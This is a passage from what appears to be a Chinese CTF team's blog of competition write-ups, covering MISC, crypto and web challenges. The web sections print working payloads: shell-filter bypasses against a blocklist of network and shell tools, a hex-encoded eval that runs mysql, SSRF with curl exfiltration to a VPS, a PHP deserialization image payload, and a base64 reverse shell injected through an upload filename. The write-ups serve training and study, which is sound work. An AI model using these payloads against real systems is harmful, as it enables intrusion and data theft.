if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}
show_source(__FILE__);
?>

open_basedir限制了访问路径，但是对system等命令执行函数是无效的，因此先不管。

再来看一下escapeshellcmd

简单来说就是会对上述字符进行转义，引号会在成对的时候被ban掉

继续往下看正则，当时队友试出了几个能用的，其中包括ps -e，base32。后面看其他师傅的wp还有rev，paste等文件读取的指令，后面发现还可以用%0a绕过函数过滤，这里也记录学习一下。

不过试来试去都没发现flag，但是在/etc/passwd发现了个mysql

之前西湖论剑的经验让我第一反应是udf提取，但没法执行或者连接mysql，所以只能另寻他法。后面找到了个-e参数能够执行sql指令

结合上面没找到flag文件，因此猜测flag在数据库里。但是-e参数后面跟的内容是要带引号的，所以还是得找到来绕过引号的办法。而且只执行是不行的，还得把内容输出出来，这里就得再套一层echo和反引号，也就是

echo `mysql -uroot -proot -e 'show databases;'`;

想起来php还有个-r参数能不带引号执行指令

直接上

php -r eval($a=1;print_r($a));

在kali尝试是可以的，这里还得想办法往-r后面塞指令。既然绕过不行，那就编码，第一反应就是当时队友试出的base32，但是没找到php中有对应的函数可以解，于是就想到了16进制，可以把16进制编码后的指令用hex2bin解码，再把解码出来的东西给eval执行，到这步我们的payload就变成了

php -r eval(hex2bin(6563686F20606D7973716C202D75726F6F74202D70726F6F74202D65202773686F77206461746162617365733B27603B));

执行后出现报错

分析原因是因为把数字开头的16进制当成数字型数据而不是字符串了，所以在最前面随便加个非数字的字符，用substr截断一下就行

php -r eval(hex2bin(substr(_6563686F20606D7973716C202D75726F6F74202D70726F6F74202D65202773686F77206461746162617365733B27603B,1)));

可以读库了，后面就正常查表即可

easy_cms

和网上一些师傅的审计不太一样，我当时写出来是队友找到了这个接口

对于fuzz了半天没试出什么东西的我断定可控接口肯定只有这几个…..于是去搜索有哪些文件调用了这几个接口

在/dayrui/Fcms/Core/Helper.php找到下面这段

明显thumb和text可控，但还是不知道这里的thumb传入进去后在哪处理，后面才在/dayrui/Fcms/Control/Api/Api.php找到下面这段对thumb参数的解析

结合后来队友告诉我发现的dr_catcher_data函数存在curl调用

因此推断这里存在ssrf，去访问题目描述给出的flag.php

这里直接构造payload就是

?s=api&c=api&m=qrcode&thumb=http://127.0.0.1/flag.php?cmd=ls&text=100

但是这样打过去会发现并没有反应，因为没有回显的地方，因此这里只能用curl请求外带，起一个vps搭一个php服务，分别写1.php和2.php两个文件（记录一下队友教的php一句话简易服务：php -S 0.0.0.0:9999 -t . ）

2024 CISCN校内选拔赛WP

Sun, 12 May 2024 00:00:00 +0800

MISC

readme

方法1：

非常简单易懂的代码。直接过滤了flag.txt，以及相当于过滤了/proc/self/fd (更多关于/proc的内容看这里)

这里的奇技淫巧在于/dev/stdin、/dev/stdout、/dev/stderr，即标准输入、标准输出、标准错误与/proc/self/fd间的链接。我们可以在kali里尝试一下下面这句指令

ls -l /dev/stdin /dev/stdout /dev/stderr
lrwxrwxrwx 1 root root 15 9月17日 15:35 /dev/stderr -> /proc/self/fd/2
lrwxrwxrwx 1 root root 15 9月17日 15:35 /dev/stdin -> /proc/self/fd/0
lrwxrwxrwx 1 root root 15 9月17日 15:35 /dev/stdout -> /proc/self/fd/1

在本地修改一下server.py，在with块中加上一个print(f.fileno())，起一个docker（因为给了docker-compose.yml，所以直接docker-compose up -d就行），nc连接本地起的服务后就能看到输出了一个数字，这个数字就是flag打开的fd，因此payload：/dev/stdin/../数值

方法2：

这种方法同样要起本地自己起docker，思路就是通过 proc 文件系统来尝试读取内存。如果没有 0x100 字节的限制的话就可以直接在 /proc/self/maps 中读取 flag.txt 的位置，然后再通过 /proc/self/map_files/… 进行读取。但实际上 maps 输出不到 flag.txt 的位置，所以就要想一些其他办法来得到它的地址。

可以在/proc/self下看到类似的内容。当然这是在本地起的docker中，去除掉了0x100的限制

/proc/self/map_files/558c0a022000-558c0a023000 /usr/local/bin/python3.11
/proc/self/map_files/558c0a023000-558c0a024000 /usr/local/bin/python3.11
/proc/self/map_files/558c0a024000-558c0a025000 /usr/local/bin/python3.11
/proc/self/map_files/558c0a025000-558c0a026000 /usr/local/bin/python3.11
/proc/self/map_files/558c0a026000-558c0a027000 /usr/local/bin/python3.11
/proc/self/map_files/7f9ee08ed000-7f9ee08ef000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee08ef000-7f9ee08f1000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee08f1000-7f9ee08f3000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee08f3000-7f9ee08f4000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee08f4000-7f9ee08f5000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee0b5b000-7f9ee0b62000 /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
/proc/self/map_files/7f9ee0b62000-7f9ee0bb9000 /usr/lib/locale/C.utf8/LC_CTYPE
/proc/self/map_files/7f9ee0bbb000-7f9ee0bcb000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0bcb000-7f9ee0c3e000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0c3e000-7f9ee0c98000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0c98000-7f9ee0c99000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0c99000-7f9ee0c9a000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0c9a000-7f9ee0cc0000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0cc0000-7f9ee0e15000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0e15000-7f9ee0e68000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0e68000-7f9ee0e6c000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0e6c000-7f9ee0e6e000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0e7c000-7f9ee0e7d000 /home/ctf/flag.txt
/proc/self/map_files/7f9ee0e7d000-7f9ee0f6b000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee0f6b000-7f9ee111f000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee111f000-7f9ee1202000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee1202000-7f9ee1231000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee1231000-7f9ee1362000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee13a7000-7f9ee13a8000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/proc/self/map_files/7f9ee13a8000-7f9ee13cd000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/proc/self/map_files/7f9ee13cd000-7f9ee13d7000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/proc/self/map_files/7f9ee13d7000-7f9ee13d9000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/proc/self/map_files/7f9ee13d9000-7f9ee13db000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2

/proc/self/map_files/7f9ee0e7c000-7f9ee0e7d000 被连接到 flag.txt。
但是这个文件名似乎不是一个固定值，因此我们需要猜测这个文件名。通过搜索后发现它写在 /proc/self/maps 中，并且在 /proc/self/syscall 中找到了一个类似的地址。下面是在题目给的远程环境中的看到的

友谊赛WP

Mon, 29 Apr 2024 00:00:00 +0800

wp发布时服务器正在维护，可能无法打开平台，明天就能重新进入平台

MISC

维多利亚的秘密(作者：hayneschen)

两个附件，压缩包需要密码打不开，试试伪加密，行不通那就先放一边，找找图片有没有线索
拿到图片常规对图片进行 010 检查，找隐写，发现都没有
简介中说到 海盗们都喜欢把宝藏的钥匙藏在海底下~ 那就应该联想到图片下方还有内容没显示完全

图中 07 E0 代表 PNG 图像的长，02 90 代表 PNG 图像的高，那随便把高修改一下就能发现海底藏着一个二维码

扫描二维码发现文本开头是 data:image/png;base64
找到 base64 转图片

找到解压密码，解压后得到flag.txt和is_me!
flag 打开发现被骗了，真正的宝藏在is_me! 中
没有后缀怎么办，010 看看呗
PK 开头，妥妥的 zip，先改 zip 解压试试看，很顺利解压出来了

这内容一看就是 word 文档，不应该用 zip 解压，把文件改为.docx 后缀打开
移除表面的照片后全选文件改一下颜色就能发现一串二进制

把 0 用空格换掉得到

新型终端

一个wasm文件，可以自己从官方github项目上查手册搭一个，这里用wmctf曾出现过的题，套上去搭一个就行

base64 flag得到

H4sIAAAAAAAAA/MLDnYOcatOSTMyszAzstA1STIy0TUxTTLWTUpMMtc1MzexSEw1M0xMM0irBQAyahiTLAAAAA==

卫继龚的电动车

根据提示，短的为0，长度为1，得到：0111010010101010011000100

这道题是PT224X，地址位长度为20bit，后4位为数据位，因此截取前20位即可

flag为：xujc{01110100101010100110}

光线追踪

附件是个ELF，扔到IDA中，发现像是个迷宫题：

找到迷宫坐标数据将其提取出来，比较长这里就不贴了，每组坐标都是[x,y,z]的形式，如前三个是：


[105, 120, 30]
[75, 90, 30]
[135, 90, 30]

因为是三维坐标，所以肯定不是平面能看出来的，我们转战到3d软件中建模呈现坐标，我这里用的是unity。

2024第三次线上赛wp

Sun, 07 Apr 2024 00:00:00 +0800

MISC

卫继龚的日常

将题目中的图片抠出来，放进谷歌，识别出是日本横滨北仲桥。

根据题意附近应该有JR地铁站，继续谷歌地图，发现附近有JR樱木町站。

根据题意，接着找附近的商店街。谷歌一下，附近有野毛小路商店街。

同时寻找日本知名的一元店，百度到了几个日本知名品牌。

如果你是这样做或是以类似思路做的，那么此时你的思路和寻找方向已经偏了。

最关键的原因，还是审题不完全。关键词：5分钟就能到地铁。仔细看题目图片，假设图片是在上下班路途上拍的，那么他必然要经过北仲桥。如果他是从家到地铁经过的北仲桥，那么他家附近的商店街应该在北仲桥附近，而野毛商店街的位置是相反方向。也就是说我应该去找北仲桥附近的商店街，但是找了一圈，没有发现很知名的商店街。

此时，假如北仲桥是在作者公司附近呢？樱木町站是作者公司附近的地铁站，因此题目图片中，加了一句：“只需要坐5分钟地铁”。

以樱木町站为起点，5分钟的车程，大致1-2站。继续谷歌，找到JR东日本的路线图。

根岸线樱木町站，5分钟车程，前后不会超过2站，分别是石川町、关内、横滨、东神奈川。

以这4个站，再结合谷歌出来的横滨知名商店街

继续谷歌地图

在横滨站附近寻找，一无所获

关内站附近发现伊势佐木町商店街。

依次谷歌日本知名的百元品牌，输入CanDo终于发现目标

使用谷歌街景

Project-X

题目给了一个 pcapng 的流量包文件，在分析前先来过一下Vmess协议下数据包加密过程（官方配置文档、通信协议文档）

假设有如下网络拓补

此时用户在配置好代理软件后使用vmess协议进行通信，在浏览器中使用google，发起了一个下面这样的数据包（1.1.1.1是用户ip，1145是用户发起请求端口）

为了方便画图，以上数据包所有内容都包含在请求包体中。此时数据包会被交给代理软件，vmess协议会在数据包前加上一个用来加密该数据包的加密方式

vmess允许用户自定义加密包体的方式，一般会在配置页面选择auto。这里我们假设使用AES-128-GCM加密，这样请求包体的内容就会被加密成无规则的字节流，被加密后包体就变成这样（遮挡部分表示被加密，后面使用的颜色不同表示加密方式不同）

接着会根据用户在配置文件中使用的用户id进行AES-128-CFB加密，将包体加密方式这部分也加密起来（下面是官方文档给的加密方式，看不懂也没事，只要知道会用一个特定的值与用户id进行加密运算，将这部分给搞糊）

并且会在前面加上当前时间戳与用户id的md5值作为一个验证值，此时整个数据包就是这个样子

最后拼接上代理服务器的ip地址与端口，就变成了这样

当数据包来到防火墙时，由于请求包体被完全加密，防火墙无法识别出用户意图，且代理服务器不在防火墙黑明单，于是就会放行数据包。代理服务器拿到数据包后，会先开一个大小为30～90左右的数组，对当前时间戳的+-30秒进行逐个的md5校验，当数据包中携带的校验值与数组中某个值匹配后，就会认定该数据包为有效数据包，于是对后面被加密的两个部分进行解密。解密后就重新拿到了下面这个数据包

接着再进行一层解密，就能得到我们的请求意图。这便是最原始的vmess协议通信过程。这里有一个配置信息我们没有说到，就是额外id。其实额外id的存在就是为了防止在同一时间段内发送大量数据包导致校验值重复，比如原本校验值是md5(11451)，当额外id为1时就有md5(11452)，以此类推。但这种验证方式也有局限性，在实际使用中已被发现存在被重放攻击的风险，具体可以看这篇，下面是官方文档对这一风险的应对手段

VMessMD5 被弃用的原因是因为它能够被很容易地通过主动探测的手段检测到，见上面提到的那篇 v2ray-core#2523。

简单来说就是使用AEAD认证的方式取代我们上述的md5验证值。这样即便防火墙试图修改被加密的数据包，被修改的数据包发送到代理服务器后也会被丢弃，就能避免重放攻击的风险。置方式也很简单，就是将额外id设置为0。而在最新版v2ray-core中，已经对vmess协议强制使用AEAD认证

介绍完vmess协议的通信原理后，再来看看赛题。这道题就是AEAD 的加密方式

用wireshark翻流量可以得到一个 v2ray 的 json 配置文件，也是从这里确定了是VMess流量分析

解密流量有两种方法，一种是通过阅读代码来自己实现解密，另一种是通过重放流量来获取明文。

关于协议的部分实现，可以参考 extra-VMessAEADdoc.zip 但是协议的最终实现还是需要参考 v2ray-core 的源码，因为有些地方的实现和文档中的描述不一致。

这里我们可以使用一个专门用来解析AEAD认证的库，并使用其编写一段exp

import uuid
from vmess_aead.encoding import VMessBodyEncoder
from vmess_aead.headers.request import VMessAEADRequestPacketHeader
from vmess_aead.utils.reader import BytesReader
data = "a49502ee07ffdd20f11597e961f7768b41be7bc32030107fc81f235f72ff1b294d074ade94281242412b4c19123b15250ac3d5ad9524df9acd0ee5f6dcca7b0c2849b2f4df20190dd084c01c3f6e2834dd87cb8e97fa178b2ec454755f89d9b735ae6dab9c7989cf4154f7eae53774d9d6cdb55d0a76fdaf21e08bae26e49cbb3c56d11a3fe540454bfbae06305460301caca4109df3335b0c3646b6e2d856a927f9298b87da3a7cf3cffcca6c27259fc055faa9f3155cc95f698bb37436008783b6cd03d38a8e109f78a48c860b600fcbe825cd6c6a5be2c95fce121df574c70fe62e4f24e28de5983db6c3c0192d72ec785b6d58c4b8301c4f70eab683"
data = bytes.fromhex(data)
reader = BytesReader(data)
user_id = uuid.UUID("f3a5cae3-6bd2-40d1-b13b-2cc3d87af2c7")
header = VMessAEADRequestPacketHeader.from_packet(reader, user_id)
print(header)
encoder = VMessBodyEncoder(
header.payload.body_key,
header.payload.body_iv,
header.payload.options,
header.payload.security,
header.payload.command,
)
body = encoder.decode_once(reader)
print(body)

2024第二次线上赛WP

Sat, 30 Mar 2024 00:00:00 +0800

MISC

GIF

简单的二维码，可以使用WPS把每帧分离保存，按顺序拼接，最后扫码获取flag

重生之我在嘉庚当黑客

flag格式改成xujc即可

洋葱二维码

code128、QR code、Maxicode、Aztec code、PDF417、汉信码之类的交替着试，二维码套娃。总之，用中国编码和https://demo.dynamsoft.com/barcode-reader/轮着试就行

SSL

HTTPS流量，给了sslkey.log

首先使用sslkey解密包内容，编辑>首选项>Protocols>TLS

过滤出GET请求的包

http.request.method==GET

这些包的URL中有个参数名是：kcahsni

取出这些包的kcahsni的值，数量不多，可以手工取出来，也可使用Tshark取出来

tshark -r capture.pcap -o 'ssl.keylog_file:sslkey.log' -Y 'http contains "GET /searchbyimage"' -T fields -e http.request.uri.query.parameter > outdata.txt

image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D82290383-7480-487c-b78b-77ac769c56cd%26kcahsni%3D9ef773fe97f56554a3b4,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D8bd542b5-2056-489e-bc1c-4f028ef27894%26kcahsni%3D26cd07e1f71df3dcee9f,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3De76528cd-17d3-490a-be20-2d817ccee04e%26kcahsni%3D1eaf89725ab93968fc52,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D491c01dd-f1a3-43c3-b3c8-30c4ab73ff4b%26kcahsni%3Df03c0a7d653539616433,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Deeed4c5d-8a5f-4b8c-a12d-a2ef007e09e2%26kcahsni%3D66333861303164636130,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Db69d43cd-ac86-4b20-acc6-6a441d94ae3e%26kcahsni%3D30663937353965366432,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3De56bc952-42c2-4631-96ee-e2e7cac51406%26kcahsni%3D30353331373634326335,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Dece42ab1-a9d1-44df-a0b5-6b7e83aa9cd0%26kcahsni%3D34323166636461643033,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D71ad1cf6-a31a-4694-812b-9ea5db6e3cad%26kcahsni%3D34656265373037376332,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D1b3c7025-b1a8-477f-9d16-89c254af258a%26kcahsni%3D62646464343732627b41,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D64ac599c-e5ac-43bc-a2e0-0447257cd5bc%26kcahsni%3D534e490b3295c3d06c24,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Dd8af7f01-5b92-4ad3-8c80-c6af467eac30%26kcahsni%3Df2a8c7e8936667dbf7fe,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D01b77323-6be9-4abd-b427-9f09d992a4df%26kcahsni%3Dce28456a0fd24ac21ec6,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D3f3e4f2f-5d92-4d3a-8ce8-f11943b42df3%26kcahsni%3Da12e3efe4b,encoded_image=,image_content=,filename=,hl=fr

使用Python处理一下，最后结果需要逆序一下

#Written by: mochu7
import binascii
from urllib.parse import unquote
flag=b''
with open('./outdata.txt') as f:
for line in f.readlines():
line = unquote(line)
hexdata = line[line.find('kcahsni=')+8:line.find(',')]
hexstring = binascii.unhexlify(hexdata)
flag += hexstring
print(flag[::-1])

2024第一次线上赛WP

Sun, 24 Mar 2024 00:00:00 +0800

MISC

套娃生成器（🤯）

根据提示，在github上找到该项目

总共实现了以下几种娃：

dolls_registry = (
(Base16Doll, Base32Doll, Base64Doll, Base85Doll), # Base系列编码，随机选择一种
(RGBAImageBytesDoll,), # 字节编码成 RGBA 图片
(BitReverseDoll, ByteReverseDoll), # 位翻转和字节翻转
(WeakZipDoll,), # 弱密码ZIP
(QRCodeDoll,), # 字符串编码成二维码
(MostSignificantByteDoll, LeastSignificantByteDoll), # 隐写LSB/MSB
)

生成逻辑是上面每行的娃随机选择一个，然后打乱顺序递归生成结果。如果生成的结果超过当前娃的最大承载长度，就将这个娃和上一个娃交换位置，然后重新生成。（具体逻辑见 encode.py）

其中，QRCodeDoll 会生成一个二维码图片，由于二维码我没有找到可靠的办法来承载二进制，所以它实际上存储的是 Base64 编码的二进制数据。

另外，对于 RGBAImageBytesDoll、MostSignificantByteDoll 和 LeastSignificantByteDoll，由于存储的数据长度可能不足容量，所以存储的前四字节为大端序的数据长度。

此外，WeakZipDoll 生成的密码选择在五位数字的原因是因为这是在我的机器上 Python 多进程能在 60 秒内稳定破解的最长密码（有考虑过六位数字，但是不能稳定破解，可能需要写 C binding，感觉有点麻烦就放弃了）。

解题脚本见 solve.py，其中具体实现的逻辑是对于输入的特征选择尝试解码的娃，如果解码成功但是结果不清晰就递归解码，直到解码成功且结果清晰（或者持续解码但是直到低于最小可能长度仍然无法解码就失败）；如果解码失败就尝试下一个娃。

solve.py：

import re
import sys
from base64 import decodebytes
import pwn as p
from matryoshka.dolls.base import DollError, DollsBase
from matryoshka.dolls.multi_base import Base16Doll, Base32Doll, Base64Doll, Base85Doll
from matryoshka.dolls.qrcode_encode import QRCodeDoll
from matryoshka.dolls.reverse import BitReverseDoll, ByteReverseDoll
from matryoshka.dolls.rgb_bytes import RGBAImageBytesDoll
from matryoshka.dolls.significant_byte import (
LeastSignificantByteDoll,
MostSignificantByteDoll,
)
from matryoshka.dolls.weak_zip import WeakZipDoll
def decode(
data: bytes,
round: int = 1,
result_regex=rb"flag{.*?}",
accepted_dolls: tuple[type[DollsBase], ...] = (),
length_threshold: int = 10,
):
def prefixed_print(*args):
p.log.info(" ".join(["--" * round + ">", *map(str, args)]))
prefixed_print("entering round", round)
attempts: list[type[DollsBase]] = []
if data.startswith(b"PK"): # PK is the magic number for ZIP files
attempts.append(WeakZipDoll)
if data.startswith(b"\x89PNG"): # PNG magic number
attempts.append(RGBAImageBytesDoll)
attempts.append(LeastSignificantByteDoll)
attempts.append(MostSignificantByteDoll)
if data.isascii(): # ASCII
charset = {bytes([c]) for c in data}
if charset == {b"0", b"1"}:
attempts.append(QRCodeDoll)
else:
attempts.append(Base16Doll)
attempts.append(Base32Doll)
attempts.append(Base64Doll)
attempts.append(Base85Doll)
attempts.append(BitReverseDoll)
attempts.append(ByteReverseDoll)
attempts = [attempt for attempt in attempts if attempt not in accepted_dolls]
for attempt in attempts:
prefixed_print(f"trying {attempt.__name__}")
try:
result = attempt().decode(data)
except DollError as e:
prefixed_print(f"failed {attempt.__name__}: {e}")
continue
if len(result) < length_threshold:
prefixed_print(f"failed {attempt.__name__}: length not accepted")
continue
if re.search(result_regex, result, re.DOTALL):
prefixed_print(f"success {attempt.__name__}: {result}")
return result
prefixed_print("result not clear, recursive decode begin")
result = decode(result, round + 1, result_regex, (*accepted_dolls, attempt))
if result:
return result
prefixed_print("round failed")
return None
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <host> <port>")
sys.exit(1)
_, host, port = sys.argv
s = p.remote(host, port)
s.recvuntil(b"name")
s.sendline(b"mix")
while True:
data = s.recvuntil(b"-----END MATRYOSHKA MESSAGE-----")
round_data = re.search(rb"Round (\d+)/(\d+)", data)
assert round_data
round = int(round_data.group(1))
total_rounds = int(round_data.group(2))
p.log.info(f"Round {round}/{total_rounds}")
data_chunk = re.search(
b"-----BEGIN MATRYOSHKA MESSAGE-----\n(.*)\n-----END MATRYOSHKA MESSAGE-----",
data,
re.DOTALL,
)
assert data_chunk
data = decode(decodebytes(data_chunk.group(1)))
assert data
s.sendline(data)
if round == total_rounds:
break
s.interactive()

CRYPTO

baby_rsa（🙂）

from Crypto.Util.number import long_to_bytes
from gmpy2 import invert, is_prime
from tqdm import tqdm

primes = []

for xy in tqdm(range(500)):
for mn in range(500):
prime = xy**(mn+1) - (xy+1)**mn
if prime.bit_length() > 2048: break
if is_prime(prime):
primes.append(prime)

c = 15808773921165746378224649554032774095198531782455904169552223303513940968292896814159288417499220739875833754573943607047855256739976161598599903932981169979509871591999964856806929597805904134099901826858367778386342376768508031554802249075072366710038889306268806744179086648684738023073458982906066972340414398928411147970593935244077925448732772473619783079328351522269170879807064111318871074291073581343039389561175391039766936376267875184581643335916049461784753341115227515163545709454746272514827000601853735356551495685229995637483506735448900656885365353434308639412035003119516693303377081576975540948311

for i in range(len(primes)):
for j in range(i, len(primes)):
pq = primes[i]*primes[j]
if len(bin(pq)[2:]) == 2048:
try:
d = invert(0x10001, (primes[i]-1)*(primes[j]-1))
dec = long_to_bytes(pow(c, d, pq))
if b"flag{" in dec:
print(dec)
except ValueError:
pass

已知((fac[0]+fac[1]+fac[2]) « 1) - 1的值，用其替代n。分解((fac[0]+fac[1]+fac[2]) « 1) - 1求其欧拉函数，进而求解出d和第二段。

2024新年红包题

Sun, 11 Feb 2024 00:00:00 +0800

将饺替换成0，子替换成1，二进制转换字符串得到

下载附件，审计源码

题目开了imagick扩展

再审计源代码，一共有三个功能点：

反序列化
删除/tmp目录下的所有内容（这算是题目的提示了）
高亮当前文件

再看题目给的后门类：

其实这里sink点有两个，一个是readfile读取文件，另一个是new $a($b)格式的代码
对于new $a($b)格式的代码，如果题目出网并且web目录可写的话，是可以直接RCE的，但是本题既不出网，web目录又不可写
因此题目的sink点就在readfile了，那么如何触发__sleep()魔术方法呢，__sleep魔术方法会在序列化的时候被调用

所以整个攻击流程如下：

首先把/tmp目录清空：

GET /?cmd=rm HTTP/1.1
Host: 1.1.1.1:49338

再制作一个PPM图片，选择PPM的原因是PPM末尾允许添加一些脏数据，并且该脏数据也不会被imagick抹去

session的内容生成方式如下：

这里我们设置path属性为/tmp/res路径，这个路径就是/flag复制之后的路径
重点看16行，这里的脏数据的数量其实是有一定要求的，在第12行设置了PPM图片的长和宽，即9*9像素，这里的脏数据+序列化数据的数量需要大于等于3*9*9且小于等于4*9*9（这里3和4可以简单理解为每个像素所占用的字节），具体原理不深究了，这里就当做记个结论（如果有其他想法，可以随时私信讨论）

<?php
class fumo_backdoor {
public $path = null;
public $argv = null;
public $func = null;
public $class = null;
}
$a = new fumo_backdoor();
$a->path = "/tmp/res"; // 复制后的flag路径
$ppmhead = "P6
9 9
255
" ;
$sdata = "|" . serialize($a);
$ppm = $ppmhead . str_repeat("\x00", 3 * 9 * 9 - strlen($sdata)) . $sdata;
// print($ppm);
print(base64_encode($ppm));
//UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfE86MTM6ImZ1bW9fYmFja2Rvb3IiOjQ6e3M6NDoicGF0aCI7czo4OiIvdG1wL3JlcyI7czo0OiJhcmd2IjtOO3M6NDoiZnVuYyI7TjtzOjU6ImNsYXNzIjtOO30=

有关PPM格式示例文件规范如下（From ChatGPT）：

2024寒假训练赛4——Writeup

Fri, 02 Feb 2024 00:00:00 +0800

WEB

web签到

直接上payload

/?c=cat /flag%0a

虽然过滤掉了很多东西，但%0a是换行，可以将过滤的指令换到下一行，就不会影响上一行执行

prprp…py？

打开题目显示没有session

可以利用SESSION_UPLOAD_PROGRESS创建一个session：

下方的proxies为BurpSuite的代理地址

import requests
url = "http://1.1.1.1:49343/"
data = {
"PHP_SESSION_UPLOAD_PROGRESS":"a"
}
file = {
"file": ("a","a")
}
cookies = {
"PHPSESSID": "a"
}
proxies = {
"http": "127.0.0.1:8080"
}
req = requests.post(url, data=data, files=file, cookies=cookies, proxies=proxies)
print(req.text)

发包过去就能拿到源码了

获取到的源码如下，这里稍作分析：

$_POST['data']可控，并且会对其反序列化后覆盖变量，所以我们可以任意构造后续的变量，注意在传参的时候需要序列化数据
核心看三个if分支，第一个if分支会对properties变量反序列化，并且调用sctf方法，由于代码里不存在类有sctf方法，因此第一反应应该是构造SoapClient原生类打SSRF
第二个else if分支的用途就比较明显了，可以利用原生类读取任意文件
第三个else语句会去请求内部5000端口的服务并返回结果，一般5000端口是Flask服务，不过这里file_get_contents只能发送GET请求，如果要打Flask的/console的Debug服务需要带Cookie

<?php
error_reporting(0);
if(!isset($_SESSION)){
die('Session not started');
}
highlight_file(__FILE__);
$type = $_SESSION['type'];
$properties = $_SESSION['properties'];
echo urlencode($_POST['data']);
extract(unserialize($_POST['data']));
if(is_string($properties)&&unserialize(urldecode($properties))){
$object = unserialize(urldecode($properties));
$object -> sctf();
exit();
} else if(is_array($properties)){
$object = new $type($properties[0],$properties[1]);
} else {
$object = file_get_contents('http://127.0.0.1:5000/'.$properties);
}
echo "this is the object: $object <br>";
?>

这里的解题思路如下：

2024长城杯校内选拔赛——Writeup

Thu, 01 Feb 2024 00:00:00 +0800

WEB

在线解压(2023国赛华北赛区)

下载源码，审计POST路由，其中savepath可控且无过滤，直接闭合命令执行即可

命令注入点在上传的文件名，由于文件名不能包含/等特殊字符，所以需要把反弹shell的命令base64编码一下：

a||`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEuMS4xLjEvMzk5OTkgMD4mMQ==|base64 -d|bash -i`#

完整请求包如下：

POST / HTTP/1.1
Host: 1.1.1.1:12345
Content-Length: 277
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLtw6UwBXBsZ5zrtu
------WebKitFormBoundaryLtw6UwBXBsZ5zrtu
